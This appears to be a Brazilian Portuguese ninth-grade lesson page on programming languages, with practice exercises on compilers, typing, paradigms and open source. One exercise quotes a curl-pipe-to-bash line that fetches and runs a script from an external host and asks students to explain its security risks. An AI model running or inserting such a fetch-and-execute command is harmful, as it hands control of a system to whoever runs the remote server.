Voltar ao inícioComputação · 9º ano · Mudar de matéria
Começar grátis
9º ano · Computação
Sistemas informáticos · Programação textual

Linguagens de programação

Antes de começar, convém dominares: Algoritmos e pensamento computacional (6º ano do Ensino Fundamental (Anos Finais))
Antes de começar, convém dominares: Programação textual (8º ano do Ensino Fundamental (Anos Finais))

Você usa aplicativos todos os dias: o Pix, o app de entrega, o jogo no celular. Alguém escreveu cada um deles em alguma linguagem de programação. Mas o que uma linguagem faz com o que a pessoa escreve? E por que existem centenas de linguagens, em vez de uma só? Vamos descobrir.

Do código-fonte ao programa executável

Por que "sem ambiguidades"? Em português, a frase "Vi o garoto com o binóculo" pode ter dois sentidos. Um computador não tem como adivinhar qual deles você quis dizer. Por isso cada instrução de um programa precisa ter um único significado possível.

O texto que a pessoa programadora escreve se chama código-fonte. Só que o processador entende apenas linguagem de máquina (ceros e uns). Entre uma coisa e outra existe uma etapa de tradução.

Caminho do código-fonte, escrito pela pessoa, até o programa executável, passando por um compilador ou interpretador. Código-fonte escrito pela pessoa Compilador ou interpretador Programa executável executado pela máquina só a linguagem de máquina (zeros e uns) é entendida direto pelo processador
Pratica★☆☆Por começar
Explique com suas palavras o que é um programa e o que é um algoritmo, e dê um exemplo de «algoritmo» da vida diária (uma receita, as instruções para chegar à sua…

Explique com suas palavras o que é um programa e o que é um algoritmo, e dê um exemplo de «algoritmo» da vida diária (uma receita, as instruções para chegar à sua casa...) identificando seus passos.

Resolver
Pratica★☆☆Por começar
Uma linguagem natural (como o português) admite frases ambíguas, mas uma linguagem de programação não. Explique o que isso significa e por que é imprescindível que as…

Uma linguagem natural (como o português) admite frases ambíguas, mas uma linguagem de programação não. Explique o que isso significa e por que é imprescindível que as instruções de um programa tenham uma única interpretação possível.

Resolver
Pratica★☆☆Por começar
A figura mostra a cadeia que converte o que uma pessoa programadora escreve em algo que o computador pode executar, mas o elemento central está coberto por um ponto de…

A figura mostra a cadeia que converte o que uma pessoa programadora escreve em algo que o computador pode executar, mas o elemento central está coberto por um ponto de interrogação, como mostra a figura.

Código-fonte é escrito pela pessoa ? Programa executável é executado pela máquina

Indique qual elemento falta na cadeia, explique quais dois tipos de ferramentas podem ocupar esse lugar (compilador e interpretador) e descreva em que cada uma se diferencia.

Resolver
Pratica★☆☆Por começar
Explique o que é a sintaxe de uma linguagem de programação e por que um simples parêntese a menos impede a execução do programa, enquanto em um texto em português um…

Explique o que é a sintaxe de uma linguagem de programação e por que um simples parêntese a menos impede a execução do programa, enquanto em um texto em português um erro de ortografia não impede a compreensão.

Resolver
Pratica★☆☆Por começar
Explique o que é o código-fonte de um programa, quem o escreve e o que precisa acontecer com ele antes que o computador possa executá-lo (traduzi-lo para linguagem de…

Explique o que é o código-fonte de um programa, quem o escreve e o que precisa acontecer com ele antes que o computador possa executá-lo (traduzi-lo para linguagem de máquina).

Resolver

Compilados e interpretados

Compilado: o compilador revisa todo o código e, se há erro, não gera executável. Interpretado: o interpretador executa linha a linha e o erro aparece ao chegar na linha com defeito, depois de já mostrar resultados. Compilado ex.: C, C++ código-fonte ✕ erros ao compilar compilador ✕ executável não é executado traduz tudo antes de executar · execução rápida Interpretado ex.: Python código-fonte interpretador linha a linha > 42 > 7 ✕ erro ✕ erros ao executar traduz e executa linha a linha · execução mais lenta

Isso muda a vida de quem usa e de quem desenvolve. Para o usuário: com uma linguagem compilada, basta o executável (feito para um sistema específico, como Windows ou Android); com uma interpretada, é preciso ter o interpretador instalado, mas o mesmo código roda em vários sistemas. Para a pessoa que desenvolve: no interpretado, você escreve e testa na hora; no compilado, precisa compilar a cada mudança, o que costuma ser mais demorado.

Pratica★★☆Por começar
Explique a diferença entre uma linguagem compilada e uma interpretada: o que acontece com o código-fonte em cada caso, quando os erros são detectados e o que o usuário…

Explique a diferença entre uma linguagem compilada e uma interpretada: o que acontece com o código-fonte em cada caso, quando os erros são detectados e o que o usuário final precisa para executar o programa. Dê um exemplo de linguagem de cada tipo.

Resolver
Pratica★★☆Por começar
Com uma linguagem compilada gera-se um executável; com uma interpretada é necessário ter o interpretador instalado. Analise que diferença há para o usuário final de cada…

Com uma linguagem compilada gera-se um executável; com uma interpretada é necessário ter o interpretador instalado. Analise que diferença há para o usuário final de cada programa (o que deve instalar, em que sistemas funcionará) e que diferença há para a pessoa que desenvolve (ciclo de escrever e testar).

Resolver
Pratica★★★Por começar
Uma linguagem de alto nível interpretada costuma ser mais cômoda de escrever, mas mais lenta na execução do que uma compilada de baixo nível. Analise esse compromisso e…

Uma linguagem de alto nível interpretada costuma ser mais cômoda de escrever, mas mais lenta na execução do que uma compilada de baixo nível. Analise esse compromisso e decida que tipo de linguagem você escolheria para: (a) o controle de um airbag, (b) um protótipo de app para testar uma ideia, (c) um jogo com gráficos exigentes. Justifique cada decisão.

Resolver

Tipagem e paradigmas

Todo dado tem um tipo: número, texto, lógico (verdadeiro ou falso). Somar um número com um texto, como 5 + "banana", não faz sentido. A pergunta é: quando a linguagem descobre isso?

Detectar o erro cedo é vantajoso: você o corrige no seu computador, antes de o programa chegar a quem vai usá-lo.

Três paradigmas de programação: imperativo (ordens que mudam o estado), orientado a objetos (objetos com dados e comportamento) e funcional (funções que transformam dados). Imperativototal ← 0repita 3 vezes: total ← total + 2o estado muda ObjetosEmpréstimo livro, sócio dias()dados + ações Funcionaldados → f → gdobro(soma(x))sem estadocompartilhado tipagem estática: tipos checados antes de executar tipagem dinâmica: checados durante a execução

Outro exemplo: o HTML organiza o conteúdo de uma página (títulos, imagens, links), mas é uma linguagem de marcação, não de programação completa, pois não expressa decisões nem repetições. Para a lógica da página, ele costuma vir acompanhado do JavaScript.

Pratica★★☆Por começar
As linguagens também se agrupam por paradigmas (imperativo, orientado a objetos, funcional...). Explique brevemente em que consiste a programação orientada a objetos e…

As linguagens também se agrupam por paradigmas (imperativo, orientado a objetos, funcional...). Explique brevemente em que consiste a programação orientada a objetos e justifique por que ela é útil quando um programa modela coisas do mundo real (alunos, contas, veículos...).

Resolver
Pratica★★☆Por começar
Em algumas linguagens, somar um número com um texto produz um erro antes de executar o programa; em outras, o erro aparece apenas se essa linha for executada. Explique o…

Em algumas linguagens, somar um número com um texto produz um erro antes de executar o programa; em outras, o erro aparece apenas se essa linha for executada. Explique o que é a tipagem de uma linguagem (estática ou dinâmica) e que vantagem há em detectar esses erros o quanto antes.

Resolver
Pratica★★☆Por começar
O HTML organiza o conteúdo das páginas web, mas não é considerado uma linguagem de programação completa. Explique que diferença há entre uma linguagem de marcação e uma…

O HTML organiza o conteúdo das páginas web, mas não é considerado uma linguagem de programação completa. Explique que diferença há entre uma linguagem de marcação e uma de programação (é possível expressar decisões e repetições?) e que linguagem costuma acompanhar o HTML para fornecer a lógica.

Resolver

Ferramentas, bibliotecas e código aberto

Programar com blocos (como no Scratch) ajuda a começar, pois não há erros de digitação e as peças só encaixam de forma válida. Programar com texto (Python, C++ do Arduino) dá mais controle e é o que se usa em projetos grandes, que ficam grandes demais para blocos.

Ao reutilizar código, vale a ideia de "não reinventar a roda": uma biblioteca de gráficos ou de conexão com bancos de dados já foi testada por muita gente. Há também o código aberto: o código-fonte é público, e qualquer pessoa pode estudá-lo e adaptá-lo, conforme a licença. Na plataforma proprietária, o código é fechado e você depende de um único fabricante.

Comparação: o código aberto é visível e cada usuário pode estudá-lo e modificar sua cópia; a plataforma proprietária é uma caixa fechada com cadeado que depende de um único fabricante. Código aberto código público pode ser estudado e adaptado Plataforma proprietária código fechado depende de um único fabricante

Isso importa na hora de decidir. Com uma ferramenta proprietária, se o fornecedor aumentar o preço da licença ou descontinuar o produto, você fica refém: precisa pagar mais ou reescrever tudo. Com código aberto e comunidade ativa, o projeto continua mesmo que uma empresa saia de cena, e você pode migrar com mais liberdade. Em contrapartida, o suporte vem da comunidade, não de um contrato.

Pratica★☆☆Por começar
O que é um ambiente de desenvolvimento (IDE)? Cite duas ajudas que ele oferece a quem programa (coloração de sintaxe, detecção de erros durante a digitação, execução…

O que é um ambiente de desenvolvimento (IDE)? Cite duas ajudas que ele oferece a quem programa (coloração de sintaxe, detecção de erros durante a digitação, execução integrada) e explique cada uma em uma frase.

Resolver
Pratica★★☆Por começar
As bibliotecas são coleções de código já pronto que um programa pode usar. Explique por que «não reinventar a roda» é uma boa prática, com um exemplo (biblioteca de…

As bibliotecas são coleções de código já pronto que um programa pode usar. Explique por que «não reinventar a roda» é uma boa prática, com um exemplo (biblioteca de gráficos, de conexão a bancos de dados), e um cuidado que se deve ter ao usar bibliotecas de terceiros.

Resolver
Pratica★★★Por começar
Uma empresa emergente (startup) projeta um aplicativo para gerenciar estações meteorológicas. A equipe hesita entre duas opções técnicas para o seu backend: Opção A,…

Uma empresa emergente (startup) projeta um aplicativo para gerenciar estações meteorológicas. A equipe hesita entre duas opções técnicas para o seu backend: Opção A, utilizar uma plataforma e linguagem proprietárias cuja licença custa 450 reais por ano por desenvolvedor, com suporte técnico fechado; ou Opção B, utilizar uma linguagem e ferramentas de código aberto com licença livre e comunidade ativa. Analise a situação: a) Se o fornecedor da Opção A triplicar o preço da licença ou for absorvido por um concorrente que descontinue o produto, preveja que opções técnicas restariam à empresa e que impacto sofreria. b) Justifique duas vantagens técnicas e de segurança que a Opção B oferece em relação à Opção A diante da detecção de uma falha crítica em uma biblioteca. c) Em que caso concreto poderia estar justificado assumir a dependência da plataforma proprietária?

Resolver
Pratica★★★Por começar
Uma instituição de ensino renova o equipamento de sua sala de Tecnologia e avalia duas opções para programar os microcontroladores de seus projetos: o Ambiente A, um…

Uma instituição de ensino renova o equipamento de sua sala de Tecnologia e avalia duas opções para programar os microcontroladores de seus projetos: o Ambiente A, um software comercial proprietário com licença gratuita durante dois anos, porém de código fechado e compatível apenas com os sensores de sua marca; e o Ambiente B, uma cadeia de ferramentas de código aberto (compilador livre e bibliotecas abertas) compatível com múltiplas placas do mercado. a) Preveja que consequências econômicas e técnicas a instituição enfrentará no terceiro ano se o fornecedor do Ambiente A mudar sua política de preços ou retirar o suporte aos modelos mais antigos. b) Justifique que possibilidades de aprendizagem e adaptação o Ambiente B oferece para que os estudantes estudem como o código funciona por dentro ou conectem sensores descontinuados. c) Do ponto de vista do gasto público e da soberania tecnológica, defenda qual das duas opções deve ser escolhida.

Resolver
Pratica★★★Por começar
Para uma prática de controle domótico, um estudante precisa enviar alertas por e-mail diante de um vazamento de gás. Em vez de programá-lo, copia de um fórum da internet…

Para uma prática de controle domótico, um estudante precisa enviar alertas por e-mail diante de um vazamento de gás. Em vez de programá-lo, copia de um fórum da internet esta linha sem revisar seu conteúdo: os.system('curl -s https://servidor-externo.xyz/alerta.sh | bash'). O aluno afirma: «O código funciona e o alerta chega, portanto a solução é completamente válida e segura». a) Refute a afirmação do aluno analisando os riscos graves de segurança e injeção de código que essa linha introduz no sistema e na rede local. b) Se o servidor externo deixar de funcionar semanas mais tarde, preveja que dificuldades o aluno terá para manter o sistema se não compreendeu a lógica original. c) Projete um protocolo de quatro passos que um programador responsável deve seguir antes de integrar código ou bibliotecas de terceiros em um projeto técnico.

Resolver

Escolhendo a linguagem adequada

Algumas linguagens e onde costumam aparecer: Python (análise de dados, automação, ensino), JavaScript (páginas web interativas), C e C++ (sistemas, jogos, placas como o Arduino), Java e Kotlin (apps Android).

Três projetos e sua prioridade: análise de dados valoriza bibliotecas, jogo 3D valoriza desempenho e página web interativa valoriza a plataforma. Dados Jogo 3D Web interativa bibliotecas de análise prioridade: ecossistema linguagem compilada prioridade: desempenho ‹/› roda no navegador prioridade: plataforma

Um exemplo clássico do compromisso: a mesma busca binária, com os mesmos passos lógicos e o mesmo número de comparações, pode levar 12,4 ms em Python e 0,8 ms em C. O algoritmo não mudou. A diferença está em como a linguagem é traduzida e executada (interpretada e de alto nível, de um lado; compilada e de baixo nível, do outro). Já para o controle de um airbag, onde a resposta precisa ser rápida e previsível, escolhe-se uma linguagem compilada de baixo nível; para um protótipo de app, vale mais a facilidade de uma linguagem interpretada.

Voltando ao começo: uma linguagem traduz suas instruções para o código de máquina que o processador executa. Existem centenas delas porque nenhuma consegue ao mesmo tempo ter máxima velocidade, ser fácil de aprender e funcionar em qualquer dispositivo.

Pratica★☆☆Por começar
Compare programar com blocos (como o Scratch) e programar com texto: dê uma vantagem de cada abordagem para aprender e um motivo pelo qual os projetos grandes acabam…

Compare programar com blocos (como o Scratch) e programar com texto: dê uma vantagem de cada abordagem para aprender e um motivo pelo qual os projetos grandes acabam sendo escritos em texto.

Resolver
Pratica★☆☆Por começar
Cite três linguagens de programação diferentes e uma aplicação ou área típica de cada uma (páginas web, análise de dados, jogos, sistemas, apps...).

Cite três linguagens de programação diferentes e uma aplicação ou área típica de cada uma (páginas web, análise de dados, jogos, sistemas, apps...).

Resolver
Pratica★★☆Por começar
Sua turma deve escolher uma linguagem para desenvolver um pequeno aplicativo de gestão do clube de leitura. Cite e explique três características da linguagem que você…

Sua turma deve escolher uma linguagem para desenvolver um pequeno aplicativo de gestão do clube de leitura. Cite e explique três características da linguagem que você avaliaria antes de decidir (facilidade de aprendizagem, bibliotecas disponíveis, comunidade, desempenho, plataforma de destino...) e justifique qual priorizaria neste caso concreto.

Resolver
Pratica★★☆Por começar
Escolha e justifique uma linguagem para cada projeto: (a) analisar as notas de toda a escola e gerar gráficos, (b) um jogo 3D com grandes exigências de desempenho e (c)…

Escolha e justifique uma linguagem para cada projeto: (a) analisar as notas de toda a escola e gerar gráficos, (b) um jogo 3D com grandes exigências de desempenho e (c) uma página web interativa executada no navegador. Indique qual critério pesou mais em cada escolha.

Resolver
Pratica★★★Por começar
Implementa-se o algoritmo de busca binária para encontrar um valor em uma lista ordenada de 1 000 000 de inteiros em duas linguagens distintas: em Python leva 12,4 ms e…

Implementa-se o algoritmo de busca binária para encontrar um valor em uma lista ordenada de 1 000 000 de inteiros em duas linguagens distintas: em Python leva 12,4 ms e em C leva 0,8 ms. Um colega afirma: «Como em C leva menos tempo, a lógica do algoritmo mudou e agora realiza menos comparações do que em Python». Refute de forma fundamentada esta afirmação: a) Explique quais elementos do programa permanecem exatamente iguais em ambas as versões e quais mudam. b) Justifique a que se deve a diferença de tempo se o número de comparações lógicas é idêntico. c) A partir deste caso, argumente por que se diz que aprender a programar consiste em aprender a pensar e não em dominar uma linguagem concreta.

Resolver

Resumo

Ver todos os exercícios deste tema